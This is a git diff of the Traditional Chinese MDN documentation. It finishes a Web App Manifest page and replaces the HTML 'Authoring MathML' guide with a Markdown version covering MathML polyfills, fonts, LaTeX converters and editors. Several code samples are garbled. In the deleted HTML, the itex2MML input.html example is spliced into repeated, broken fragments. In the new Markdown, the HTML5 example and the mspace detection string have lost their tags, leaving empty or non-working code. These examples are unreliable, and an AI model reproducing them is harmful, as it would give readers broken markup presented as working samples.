`related_applications` + +指定一個包含「應用程式物件」的陣列,其物件用以表示一個能被底層平台安裝或訪問的原生應用程式 — 例如能由 Google Play 商店獲取的原生 Android 應用程式。 這是一個可選的替代方案,如同原生應用程式版的 Web 應用程式一般去提供相似或等同的功能。 + +```json +"related_applications": [ + { + "platform": "play", + "url": "https://play.google.com/store/apps/details?id=com.example.app1", + "id": "com.example.app1" + }, { + "platform": "itunes", + "url": "https://itunes.apple.com/app/example-app1/id123456789" + }] +``` + +應用程式物件能包含下列的值: + +| 成員 | 描述 | +| ---------- | --------------------------------- | +| `platform` | 可以找到該應用程式的平台。 | +| `url` | 可以找到該應用程式的網址。 | +| `id` | 在特定平台上代表該應用程式的 ID。 | + +### `scope` + +Defines the navigation scope of this web application's application context. This basically restricts what web pages can be viewed while the manifest is applied. If the user navigates the application outside the scope, it returns to being a normal web page. + +If the scope is a relative URL, the base URL will be the URL of the manifest. + +```json +"scope": "/myapp/" +``` + +### `short_name` + +提供一個人類可讀且較簡短的應用程式名稱,其值將被使用在較不足以去顯示 Web 應用程式全名的空間。 + +```json +"short_name": "I/O 2017" +``` + +### `start_url` + +指定一個當使用者由裝置上啟動應用程式時所開啟的網址。 若使用相對路徑,則網址將以 manifest 的位置為基準。 + +```json +"start_url": "./?utm_source=web_app_manifest" +``` + +### `theme_color` + +定義一個應用程式預設的主題顏色。 其值會被作業系統在某些時候運用來顯示應用程式(如: Android 的任務切換器 task switcher 就以主題顏色圍繞著應用程式)。 + +```json +"theme_color": "aliceblue" +``` + +## 啟動畫面(Splash screens) + +在 Chrome 47 或較新版本,啟動畫面 splash screen 會被使用在當 Web 應用程式由主畫面開啟的時後。 這啟動畫面是依 Web App manifest 的屬性自動產生的,明確來說是由 `name`、`background_color` 、 `icons `陣列中較接近裝置的 128dpi 的圖示。 + +## Mime 類型 + +Manifests 應該被使用 `application/manifest+json` 的 MIME 類型。不過這是可選的。 + +## 瀏覽器相容性 + +{{Compat}} diff --git a/files/zh-tw/web/mathml/authoring/index.html b/files/zh-tw/web/mathml/authoring/index.html deleted file mode 100644 index a40f65ea9221ef..00000000000000 --- a/files/zh-tw/web/mathml/authoring/index.html +++ /dev/null @@ -1,324 +0,0 @@ ---- -title: Authoring MathML -slug: Web/MathML/Authoring -translation_of: Web/MathML/Authoring ---- -這裡我們將會介紹該如何利用 MathML 來表達數學語言。如同 HTML, MathML 也是一種 SGML 語言,因此它是以 tag 和 attribute 描述的。HTML 在你使用了一些諸如 list 或 table 等結構時將會變得很複雜,索性我們有一些 WYSIWYG 編輯器和其他 Content Management Systems 來協助我們進行開發。
-數學符號擁有許多更複雜的結構,如除號, 平方根以及矩陣等,他們都需要分別代表他們的 tags。因此,一個好的 MathML 編輯工具是非常重要的,而接下來我們將介紹一些工具給你。限於篇幅的關係,我們的介紹可能不是十分詳盡,你可以到 W3C MathML software list 查看更進一步的訊息,那裡也介紹了其他的工具。
-Note that by design, MathML is well-integrated in HTML5 and in particular you can use usual Web features like CSS, DOM, Javascript or SVG. This is out of the scope of this document but anyone with basic knowledge of Web languages will easily be able to mix these features with MathML. Check out our demos and MathML references for more details.
-You can use Presentation MathML inside HTML5 documents:
-<!DOCTYPE html> -<html> -<head> - <title>MathML in HTML5</title> -</head> -<body> - - <h1>MathML in HTML5</h1> - - <p> - Square root of two: - <math> - <msqrt> - <mn>2</mn> - </msqrt> - </math> - </p> - -</body> -</html>-
Content MathML is not supported by browsers. It's recommended to convert your Content MathML markup into Presentation MathML before publishing it, for example with the help of the ctop.xsl stylesheet. Tools mentioned on this page generates Presentation MathML.
-Unfortunately, some browsers are not able to render MathML equations or only have a limited support. Hence you will need to use a MathML polyfill to provide some fallback rendering. If you need only basic mathematical constructions such as those used on this MDN wiki then a small mathml.css stylesheet might be enough. To use it, just insert one line in your document header:
-<script src="http://fred-wang.github.io/mathml.css/mspace.js"></script>-
If you need more complex constructions, you might instead consider using the heavier MathJax library as a MathML polyfill:
-<script src="http://fred-wang.github.io/mathjax.js/mpadded.js"></script>-
Note that these two scripts perform feature detection of the mspace or mpadded elements (see the browser compatibility table on these pages). If you don't want to use this link to GitHub but instead to integrate these polyfills or others in your own project, you might need the detection scripts to verify the level of MathML support. For example the following function verifies the MathML support by testing the mspace element (you may replace mspace
with mpadded
):
function hasMathMLSupport() { - var div = document.createElement("div"), box; - div.innerHTML = "<math><mspace height='23px' width='77px'/></math>"; - document.body.appendChild(div); - box = div.firstChild.firstChild.getBoundingClientRect(); - document.body.removeChild(div); - return Math.abs(box.height - 23) <= 1 && Math.abs(box.width - 77) <= 1; -}-
Alternatively, the following UA string sniffing will allow to detect the rendering engines with native MathML support (Gecko and WebKit). Note that UA string sniffing is not the most reliable method and might break from version to version:
-var ua = navigator.userAgent; -var isGecko = ua.indexOf("Gecko") > -1 && ua.indexOf("KHTML") === -1 && ua.indexOf('Trident') === -1; -var isWebKit = ua.indexOf('AppleWebKit') > -1 && ua.indexOf('Chrome') === -1;-
Mathematical fonts
-Note: browsers can only use a limited set of mathematical fonts to draw stretchy MathML operators. However, implementation of the OpenType MATH table is in progress in Gecko & WebKit. This will provide a generic support for mathematical fonts and simplify the settings described in this section.
-To get a good mathematical rendering in browsers, some MathML fonts are required. It's a good idea to provide to your visitors a link to the MDN page that explains how to install MathML fonts. Alternatively, you can just make them available as Web fonts. You can get these fonts from the MathML-fonts add-on ; the xpi is just a zip archive that you can fetch and extract for example with the following command:
-wget https://addons.mozilla.org/firefox/downloads/latest/367848/addon-367848-latest.xpi -O mathml-fonts.zip; \ -unzip mathml-fonts.zip -d mathml-fonts-
Then copy the mathml-fonts/resource/
directory somewhere on your Web site and ensure that the woff files are served with the correct MIME type. Finally, include the mathml-fonts/resource/mathml.css
style sheet in your Web pages, for example by adding the following rule to the default style sheet of your Web site:
@import url('/path/to/resource/mathml.css');-
You then need to modify the font-family on the <math> elements and, for Gecko, the on ::-moz-math-stretchy pseudo element too. For example to use STIX fonts:
-math { - font-family: STIXGeneral; -} - -::-moz-math-stretchy { - font-family: STIXNonUnicode, STIXSizeOneSym, STIXSize1, STIXGeneral; -} --
Try the MathML torture test to compare the rendering of various fonts and the CSS rules to select them.
-If for some reason you need to use MathML in XML documents, be sure to satisfy the usual requirements: well-formed document, use of correct MIME type, MathML namespace "http://www.w3.org/1998/Math/MathML"
on <math>
roots. For example, the XHTML version of the previous example looks like this:
-
<?xml version="1.0" encoding="UTF-8"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN" - "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>XHTML+MathML Example</title> -</head> -<body> - -<h1>XHTML+MathML Example</h1> - - <p> - Square root of two: - <math xmlns="http://www.w3.org/1998/Math/MathML"> - <msqrt> - <mn>2</mn> - </msqrt> - </math> - </p> - -</body> -</html>-
Note that if you use MathML as a standalone .mml or .svg documents or inside an EPUB book, it may not always be possible to use MathJax as a polyfill for rendering engines without MathML support. Hence whether MathML can be handled will vary according to the tools used to read these documents.
-Modern mail clients may send and receive emails in the HTML5 format and thus can use MathML expressions. Be sure to have the "send as HTML" and "view as HTML" options enabled. In Thunderbird, you can use the "Insert HTML" command to paste your HTML+MathML code. MathBird is a convenient add-on for Thunderbird to insert such MathML expressions using the AsciiMath input syntax. Again, the way MathML is handled and the quality of the MathML rendering depend on the mail clients. Even if your browser supports MathML, your Webmail may prevent you to send or receive mails with MathML inside.
-In theory, Gecko-based instant messaging clients could integrate one of the Javascript-based text-to-MathML converters mentioned below and render the MathML expressions. For example there is an InstantBird add-on to handle LaTeX expressions.
-There are many simple notations (e.g. wiki or markdown syntaxes) to generate HTML pages. The same is true for MathML: for example ASCII syntaxes as used in calculators or the more powerful LaTeX language, very popular among the scientific community. In this section, we present some of these tools to convert from a simple syntax to MathML.
-In a Web environment, the most obvious method to convert a simple syntax into a DOM tree is to use Javascript and of course many libraries have been developed to perform that task.
-TeXZilla has an <x-tex> custom element, that can be used to write things like
-<x-tex>\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1</x-tex>-
and get it automatically converted into MathML. This is still a work-in-progress, but could be improved in the future thanks to Web Components and shadow DOM. Alternatively, you can use the more traditional Javascript parsing of expressions at load time as all the other tools in this section do.
-One simple client-side conversion tools is ASCIIMathML. Just download the ASCIIMathML.js script and copy it to your Web site. Then on your Web pages, add a <script>
tag to load ASCIIMathML and the mathematical expressions delimited by `
(grave accent) will be automatically parsed and converted to MathML:
<html> -<head> -... -<script type="text/javascript" src="ASCIIMathML.js"></script> -... -</head> -<body> -... -<p>blah blah `x^2 + y^2 = r^2` blah ... -...-
LaTeXMathML is a similar script that allows to parse more LaTeX commands. The installation is similar: copy LaTeXMathML.js and LaTeXMathML.standardarticle.css, add links in the header of your document and the LaTeX content of your Web page marked by the "LaTeX" class will be automatically parsed and converted to HTML+MathML:
-<head> -... -<script type="text/javascript" src="LaTeXMathML.js"></script> -<link rel="stylesheet" type="text/css" href="LaTeXMathML.standardarticle.css" /> -... -</head> - -<body> -... - -<div class="LaTeX"> -\documentclass[12pt]{article} - -\begin{document} - -\title{LaTeXML Example} -\maketitle - -\begin{abstract} -This is a sample LaTeXML document. -\end{abstract} - -\section{First Section} - - $ \sum_{n=1}^{+\infty} \frac{1}{n^2} = \frac{\pi^2}{6} $ - -\end{document} -</div> -...-
jqMath is another script to parse a simple LaTeX-like syntax but which also accepts non-ASCII characters like √{∑↙{n=1}↖{+∞} 6/n^2} = π
to write . The installation is similar: download and copy the relevant Javascript and CSS files on your Web site and reference them in your page header (see the COPY-ME.html
file from the zip archive for an example). One of the advantage of jqMath over the previous scripts is that it will automatically add some simple CSS rules to do the mathematical layout and make the formulas readable on browsers with limited MathML support.
Another way to work around the lack of MathML support in some browsers is to use MathJax. However, note that you may find conflicts and synchronization issues between MathJax and the Javascript libraries previously mentioned. So if you really want to use MathJax as a MathML polyfill, you'd better use its own LaTeX/ASCIIMath parsers too. Note that on the one hand MathJax has better parsing and rendering support but on the other hand it is much bigger, more complex and slower than the previous Javascript libraries. Fortunately, you can use MathJax's CDN so that you don't need to install it on your Web server. Also, the slowest part of MathJax is currently its HTML-CSS / SVG output modes so we recommend to use the Native MathML output for Gecko-based browsers. Hence a typical configuration to use the AMS-LaTeX input is:
-... - <script type="text/x-mathjax-config"> - MathJax.Hub.Config({ - MMLorHTML: { prefer: { Firefox: "MML" } } - }); - </script> - <script type="text/javascript" - src="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"> - </script> - </head> - <body> - \[ \tau = \frac{x}{y} + \sqrt{3} \] -...-
Note that the dollar delimiters are not used by default. To use the ASCIIMathML input instead, just replace TeX-AMS-MML_HTMLorMML
by AM-MML_HTMLorMML
. MathJax has many other features, see the MathJax documentation for further details.
An alternative way is to parse the simple syntax before publishing your web pages. That is, you use command-line programs to generate them and publish these static pages on your server.
-TeXZilla can be used from the command line and will essentially have the same support as itex2MML described below. However, the stream filter behavior is not implemented yet.
-If you only want to parse simple LaTeX mathematical expressions, you might want to try tools like itex2MML or Blahtex. The latter is often available on Linux distributions. Let's consider the former, which was originally written by Paul Gartside at the beginning of the Mozilla MathML project and has been maintained by Jacques Distler since then. It's a small stream filter written in C/C++ and generated with flex and bison ; in particular it is very fast. Install flex/bison as well as the classical compiler and make tools. On Unix, you can then download itex2MML, build and install it:
-wget http://golem.ph.utexas.edu/~distler/blog/files/itexToMML.tar.gz; \ -tar -xzf itexToMML.tar.gz; \ -cd itex2MML/itex-src; -make -sudo make install-
Now suppose that you have a HTML page with TeX fragments delimited by dollars:
-input.html - -... -</head> -<body> - <p>$\sqrt{a^2-3c}input.html - -... -</head> -<body> - <p>$\sqrt{a^2-3c}input.html - -... -</head> -<body> - <p>$\sqrt{a^2-3c}-input.html - -... -</head> -<body> - <p>$\sqrt{a^2-3c}$</p> - <p>$$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $$</p> -</body> -</html>
lt;/p> - <p>$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $</p> -</body> -</html>lt;/p> - <p>$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $</p> -</body> -</html>lt;/p> - <p>$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} input.html - -... -</head> -<body> - <p>$\sqrt{a^2-3c}input.html - -... -</head> -<body> - <p>$\sqrt{a^2-3c}$</p> - <p>$$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $$</p> -</body> -</html>
lt;/p> - <p>$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $</p> -</body> -</html>lt;/p> -</body> -</html>
Then to generate the HTML page input.html with TeX expressions replaced by MathML expressions, just do
-cat input.html | itex2MML > output.html-
There are even more sophisticated tools to convert arbitrary LaTeX documents into HTML+MathML. For example TeX4ht is often included in TeX distributions and has an option to use MathML instead of PNG images. This command will generate an XHTML+MathML document foo.xml from a foo.tex LaTeX source:
-mk4ht mzlatex foo.tex # Linux/Mac platforms - mzlatex foo.tex # Windows platform --
LaTeXML is another tool that is still actively developed but the release version is rather old, so you'd better install the development version. In particular, this version can generate HTML5 and EPUB documents. Here is the command to execute in order to create a foo.html Web page from the foo.tex LaTeX source:
-latexml --dest foo.xml foo.tex - latexmlpost --dest foo.html --format=html5 foo.xml --
If you want to have a MathJax fallback for non-Gecko browsers, copy the Javascript lines given above into a mathjax.js
file and use the --javascript
parameter to tell LaTeXML to include that file:
latexmlpost --dest foo.html --format=html5 --javascript=mathjax.js foo.xml --
If your LaTeX document is big, you might want to split it into several small pages rather putting everything in a single page. This is especially true if you use the MathJax fallback above, since in that case MathJax will take a lot of time to render the equations in non-Gecko browsers. Use the --splitat
parameter for that purpose. For example, this will split the pages at the \section
level:
latexmlpost --dest foo.html --format=html5 --splitat=section foo.xml --
Finally, to generate an EPUB document, you can do
-latexmlc --dest foo.epub --splitat=section foo.xml --
TeXZilla can be used as a Web server in order to perform server-side LaTeX-to-MathML conversion. LaTeXML can also be used as a deamon to run server-side. Mathoid is another tool based on MathJax that is also able to perform additional MathML-to-SVG conversion.
-Instiki is a Wiki that integrates itex2MML to do server-side conversion. In future versions, MediaWiki will support server-side conversion too.
-TeXZilla has several interfaces, including a CKEditor plugin used on MDN, an online demo, a Firefox add-on or a FirefoxOS Webapp. Abiword contains a small equation editor, based on itex2MML. Bluegriffon is a mozilla-based Wysiwyg HTML editor and has an add-on to insert MathML formulas in your document, using ASCII/LaTeX-like syntax.
- -Firemath is an extension for Firefox that provides a WYSIWYG MathML editor. A preview of the formula is displayed using the rendering engine of Mozilla. The generated MathML code is available at the bottom. Use the text field for token elements and buttons to build advanced constructions. Once you are done, you can save your document as a XHTML page.
-OpenOffice and LibreOffice have an equation editor (File → New → Formula). It is semi-WYSIWYG: you enter the source of the formula using the equation panel/keyboard and a preview of the formula is regularly refreshed. The editor uses its own syntax "StarMath" for the source but MathML is also generated when the document is saved. To get the MathML code, save the document as mml and open it with any text editor. Alternatively, you can extract the odf file (which is actually a zip archive) and open an xml file called content.xml
.
Amaya is the W3C's web editor, which is able to handle MathML inside XHTML documents. Use the Elements and the Special Chars panels to create various advanced mathematical constructs. Simple text such as a+2
is automatically parsed and the appropriate MathML markup is generated. Once you are done, you can directly save your XHTML page and open it in Mozilla.
Inftyreader is able to perform some Optical Character Recognition, including translation of mathematical equations into MathML. Other tools can do handwriting recognition such as the Windows Math Input Panel
-or the online converter Web Equation.
-Original Document Information
-diff --git a/files/zh-tw/web/mathml/authoring/index.md b/files/zh-tw/web/mathml/authoring/index.md new file mode 100644 index 00000000000000..c110f46bc1b353 --- /dev/null +++ b/files/zh-tw/web/mathml/authoring/index.md @@ -0,0 +1,413 @@ +--- +title: Authoring MathML +slug: Web/MathML/Authoring +translation_of: Web/MathML/Authoring +--- +這裡我們將會介紹該如何利用 MathML 來表達數學語言。如同 HTML, MathML 也是一種 SGML 語言,因此它是以 tag 和 attribute 描述的。HTML 在你使用了一些諸如 list 或 table 等結構時將會變得很複雜,索性我們有一些 WYSIWYG 編輯器和其他 Content Management Systems 來協助我們進行開發。 + +數學符號擁有許多更複雜的結構,如除號, 平方根以及矩陣等,他們都需要分別代表他們的 tags。因此,一個好的 MathML 編輯工具是非常重要的,而接下來我們將介紹一些工具給你。限於篇幅的關係,我們的介紹可能不是十分詳盡,你可以到 [W3C MathML software list](https://www.w3.org/Math/Software/) 查看更進一步的訊息,那裡也介紹了其他的工具。 + +Note that by design, MathML is well-integrated in HTML5 and in particular you can use usual Web features like CSS, DOM, Javascript or SVG. This is out of the scope of this document but anyone with basic knowledge of Web languages will easily be able to mix these features with MathML. Check out [our demos](/zh-TW/docs/Mozilla/MathML_Project#Sample_MathML_Documents) and [MathML references](/zh-TW/docs/Web/MathML) for more details. + +## Using MathML + +#### MathML in HTML pages + +You can use Presentation MathML inside HTML5 documents: + +```html + + + +
+ Square root of two: + +
+ + + +``` + +Content MathML is not supported by browsers. It's recommended to convert your Content MathML markup into Presentation MathML before publishing it, for example with the help of the [ctop.xsl](https://code.google.com/p/web-xslt/source/browse/trunk/#trunk/ctop) stylesheet. Tools mentioned on this page generates Presentation MathML. + +#### Fallback for Browsers without MathML support + +Unfortunately, some browsers are not able to render MathML equations or only have a limited support. Hence you will need to use a MathML polyfill to provide some fallback rendering. If you need only basic mathematical constructions such as those used on this MDN wiki then a small [mathml.css](https://github.com/fred-wang/mathml.css) stylesheet might be enough. To use it, just insert one line in your document header: + +```html + +``` + +If you need more complex constructions, you might instead consider using the heavier [MathJax](https://www.mathjax.org) library as a MathML polyfill: + +```html + +``` + +Note that these two scripts perform feature detection of the [mspace](/zh-TW/docs/Web/MathML/Element/mspace) or [mpadded](/zh-TW/docs/Web/MathML/Element/mpadded) elements (see the browser compatibility table on these pages). If you don't want to use this link to GitHub but instead to integrate these polyfills or others in your own project, you might need the detection scripts to verify the level of MathML support. For example the following function verifies the MathML support by testing the mspace element (you may replace `mspace` with `mpadded`): + +```js + function hasMathMLSupport() { + var div = document.createElement("div"), box; + div.innerHTML = ""; + document.body.appendChild(div); + box = div.firstChild.firstChild.getBoundingClientRect(); + document.body.removeChild(div); + return Math.abs(box.height - 23) <= 1 && Math.abs(box.width - 77) <= 1; +} +``` + +Alternatively, the following UA string sniffing will allow to detect the rendering engines with native MathML support (Gecko and WebKit). Note that UA string sniffing is not the most reliable method and might break from version to version: + +```js +var ua = navigator.userAgent; +var isGecko = ua.indexOf("Gecko") > -1 && ua.indexOf("KHTML") === -1 && ua.indexOf('Trident') === -1; +var isWebKit = ua.indexOf('AppleWebKit') > -1 && ua.indexOf('Chrome') === -1; +``` + +#### Mathematical fonts + +**Note: browsers can only use a limited set of mathematical fonts to draw stretchy MathML operators. However, implementation of the OpenType MATH table is in progress in Gecko & WebKit. This will provide a generic support for mathematical fonts and simplify the settings described in this section.** + +To get a good mathematical rendering in browsers, some [MathML fonts](/docs/Mozilla/MathML_Project/Fonts) are required. It's a good idea to provide to your visitors a link to the [MDN page that explains how to install MathML fonts](/docs/Mozilla/MathML_Project/Fonts). Alternatively, you can just make them available as Web fonts. You can get these fonts from the [MathML-fonts add-on](https://addons.mozilla.org/en-US/firefox/addon/mathml-fonts/) ; the xpi is just a zip archive that you can fetch and extract for example with the following command: + +```bash +wget https://addons.mozilla.org/firefox/downloads/latest/367848/addon-367848-latest.xpi -O mathml-fonts.zip; \ +unzip mathml-fonts.zip -d mathml-fonts +``` + +Then copy the `mathml-fonts/resource/` directory somewhere on your Web site and ensure that the woff files are served with the correct MIME type. Finally, include the `mathml-fonts/resource/mathml.css` style sheet in your Web pages, for example by adding the following rule to the default style sheet of your Web site: + +```css +@import url('/path/to/resource/mathml.css'); +``` + +You then need to modify the font-family on the \